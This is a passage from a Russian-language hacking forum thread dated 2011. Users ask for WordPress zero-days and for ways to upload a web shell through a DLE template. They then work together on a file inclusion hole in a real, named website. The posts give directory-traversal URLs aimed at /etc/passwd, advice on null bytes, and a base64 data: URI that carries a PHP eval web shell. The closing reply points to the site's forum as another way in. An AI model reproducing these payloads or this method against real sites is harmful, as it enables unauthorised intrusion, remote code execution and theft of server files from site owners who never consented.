ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
05.06.2011, 20:37
|
|
Guest
Сообщений: n/a
Провел на форуме:
60692
Репутация:
6
|
|
Сообщение от Tigger
Tigger said:
Я, так понимаю, он просит зиродэй плоенты под вп 3.1.1, а не сам процесс заливки шелла ))
Да, да!
|
|
|
|
05.06.2011, 20:47
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от Kuteke
Kuteke said:
Да, да!
в паблике ничего серезного нету, разве что тока пассивка xss
баги надо искать в сторонных компонентах
|
|
|
05.06.2011, 21:36
|
|
Guest
Сообщений: n/a
Провел на форуме:
4616
Репутация:
0
|
|
как залить шелл через шаблон. на дле 8.5? и можно ли это сделать? в сет есть несколько вариантов как это сделать но пока ни один не помог
|
|
|
|
05.06.2011, 23:54
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Это инклюд?
Сообщение от None
http://www.guitars.ru/01/info.php?z828'
|
|
|
|
06.06.2011, 00:10
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от FlaktW
FlaktW said:
Это инклюд?
Ну так даже в ошибке же написано о_0
http://www.guitars.ru/01/info.php?z828'z../../../../../../../../../../../var/www/mstia/data/www/guitars.ru/01/info.php
Увы, но allow_url_include там off...
http://www.guitars.ru/01/info.php?data:;base64,PD9waHAgZXZhbCgkX0dFVFtjbWRd KTsgPz4=
Вот, советую к прочтению: http://www.xakep.ru/post/49508/default.asp
|
|
|
|
06.06.2011, 00:18
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Сообщение от Tigger
Tigger said:
Ну так даже в ошибке же написано о_0
http://www.guitars.ru/01/info.php?z828'z../../../../../../../../../../../var/www/mstia/data/www/guitars.ru/01/info.php
Почему /etc/passwd не выводится?
http://www.guitars.ru/01/info.php?z828'z../../../../../../../../../../../etc/passwd%00
|
|
|
|
06.06.2011, 00:22
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от FlaktW
FlaktW said:
Почему /etc/passwd не выводится?
http://www.guitars.ru/01/info.php?z828'z../../../../../../../../../../../etc/passwd%00
Null-байт там не нужен, ничего же не добавляеться.
/etc/passwd - не читает потому что там написано, что не разрешено выполнять инклюд данного файла "Operation not permitted".
|
|
|
|
06.06.2011, 00:48
|
|
Познающий
Регистрация: 05.04.2010
Сообщений: 30
Провел на форуме:
151946
Репутация:
2
|
|
Сообщение от Tigger
Tigger said:
Null-байт там не нужен, ничего же не добавляеться.
/etc/passwd - не читает потому что там написано, что не разрешено выполнять инклюд данного файла "Operation not permitted".
Сообщение от None
../../../../../../../../../../../
почему именно столько диров + к ним еще документ рут?
ваще не могу понять как вычислить длину этих диров ../../
|
|
|
|
06.06.2011, 00:59
|
|
Guest
Сообщений: n/a
Провел на форуме:
1941
Репутация:
0
|
|
Сообщение от Lasteeck
Lasteeck said:
почему именно столько диров + к ним еще документ рут?
ваще не могу понять как вычислить длину этих диров ../../
../ эта штука на сколько каталогов надо подняться наверх
например есть сайт
site.ru/article.php?list=1
и такой путь до article
/usr/www/site.com/article
надо подняться на 4 каталога вверх
Вообще почитай об иерархии файлов в nix системах
|
|
|
|
06.06.2011, 01:16
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
Сообщение от Tigger
Tigger said:
Увы, но allow_url_include там off...
Зато там есть форум. Где твоя смекалка?
|
|
|
|
|
|
|
|
Здесь присутствуют: 4 (пользователей: 0 , гостей: 4)
|
|
|
|
Похожие темы
Линейный вид
